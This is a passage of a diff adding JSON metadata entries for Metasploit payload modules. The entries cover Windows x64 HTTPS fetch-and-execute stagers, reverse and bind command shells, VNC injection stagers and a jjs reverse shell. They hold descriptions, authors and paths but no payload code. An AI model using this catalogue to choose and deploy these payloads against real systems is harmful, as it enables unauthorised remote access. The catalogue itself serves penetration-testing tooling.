server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/shell/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/shell/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_ipv6_tcp" + }, + "payload_cmd/windows/https/x64/shell/bind_ipv6_tcp_uuid": { + "name": "HTTPS Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/https/x64/shell/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/shell/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/shell/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" + }, + "payload_cmd/windows/https/x64/shell/bind_named_pipe": { + "name": "HTTPS Fetch, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/https/x64/shell/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "UserExistsError" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a pipe connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/shell/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/shell/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_named_pipe" + }, + "payload_cmd/windows/https/x64/shell/bind_tcp": { + "name": "HTTPS Fetch, Windows x64 Command Shell, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/https/x64/shell/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/shell/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/shell/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp" + }, + "payload_cmd/windows/https/x64/shell/bind_tcp_rc4": { + "name": "HTTPS Fetch, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/https/x64/shell/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/shell/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/shell/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp_rc4" + }, + "payload_cmd/windows/https/x64/shell/bind_tcp_uuid": { + "name": "HTTPS Fetch, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/https/x64/shell/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/shell/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/shell/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp_uuid" + }, + "payload_cmd/windows/https/x64/shell/reverse_tcp": { + "name": "HTTPS Fetch, Windows x64 Command Shell, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/https/x64/shell/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/shell/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/shell/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp" + }, + "payload_cmd/windows/https/x64/shell/reverse_tcp_rc4": { + "name": "HTTPS Fetch, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/https/x64/shell/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/shell/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/shell/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp_rc4" + }, + "payload_cmd/windows/https/x64/shell/reverse_tcp_uuid": { + "name": "HTTPS Fetch, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/https/x64/shell/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/shell/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/shell/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp_uuid" + }, + "payload_cmd/windows/https/x64/shell_bind_tcp": { + "name": "HTTPS Fetch, Windows x64 Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/windows/https/x64/shell_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a connection and spawn a command shell (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/shell_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/shell_bind_tcp", + "staged": false + }, + "payload_cmd/windows/https/x64/shell_reverse_tcp": { + "name": "HTTPS Fetch, Windows x64 Command Shell, Reverse TCP Inline", + "fullname": "payload/cmd/windows/https/x64/shell_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to attacker and spawn a command shell (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/shell_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/shell_reverse_tcp", + "staged": false + }, + "payload_cmd/windows/https/x64/vncinject/bind_ipv6_tcp": { + "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/https/x64/vncinject/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for an IPv6 connection (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_ipv6_tcp" + }, + "payload_cmd/windows/https/x64/vncinject/bind_ipv6_tcp_uuid": { + "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/https/x64/vncinject/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" + }, + "payload_cmd/windows/https/x64/vncinject/bind_named_pipe": { + "name": "HTTPS Fetch, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/https/x64/vncinject/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "UserExistsError" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a pipe connection (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_named_pipe" + }, + "payload_cmd/windows/https/x64/vncinject/bind_tcp": { + "name": "HTTPS Fetch, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/https/x64/vncinject/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a connection (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp" + }, + "payload_cmd/windows/https/x64/vncinject/bind_tcp_rc4": { + "name": "HTTPS Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/https/x64/vncinject/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp_rc4" + }, + "payload_cmd/windows/https/x64/vncinject/bind_tcp_uuid": { + "name": "HTTPS Fetch, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/https/x64/vncinject/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a connection with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp_uuid" + }, + "payload_cmd/windows/https/x64/vncinject/reverse_http": { + "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/reverse_http", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_http" + }, + "payload_cmd/windows/https/x64/vncinject/reverse_https": { + "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "hdm ", + "agix", + "rwincey" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/reverse_https", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_https" + }, + "payload_cmd/windows/https/x64/vncinject/reverse_tcp": { + "name": "HTTPS Fetch, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp" + }, + "payload_cmd/windows/https/x64/vncinject/reverse_tcp_rc4": { + "name": "HTTPS Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp_rc4" + }, + "payload_cmd/windows/https/x64/vncinject/reverse_tcp_uuid": { + "name": "HTTPS Fetch, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp_uuid" + }, + "payload_cmd/windows/https/x64/vncinject/reverse_winhttp": { + "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_winhttp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nTunnel communication over HTTP (Windows x64 winhttp)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/reverse_winhttp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/reverse_winhttp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_winhttp" + }, + "payload_cmd/windows/https/x64/vncinject/reverse_winhttps": { + "name": "HTTPS Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/https/x64/vncinject/reverse_winhttps", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/vncinject/reverse_winhttps", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/vncinject/reverse_winhttps", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_winhttps" + }, + "payload_cmd/windows/jjs_reverse_tcp": { + "name": "Windows Shell, Reverse TCP (via jjs)", + "fullname": "payload/cmd/windows/jjs_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "conerpirate", + "bcoles " + ], + "description": "Connect back and create a command shell via jjs", + "references": [ + "URL-https://gtfobins.github.io/gtfobins/jjs/", + "URL-https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/", + "URL-https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/windows/jjs_reverse_tcp.rb", + "is_install_path": true, + "ref_name": "cmd/windows/jjs_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_cmd/windows/powershell/adduser": { + "name": "Powershell Exec", + "fullname": "payload/cmd/windows/powershell/adduser", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + 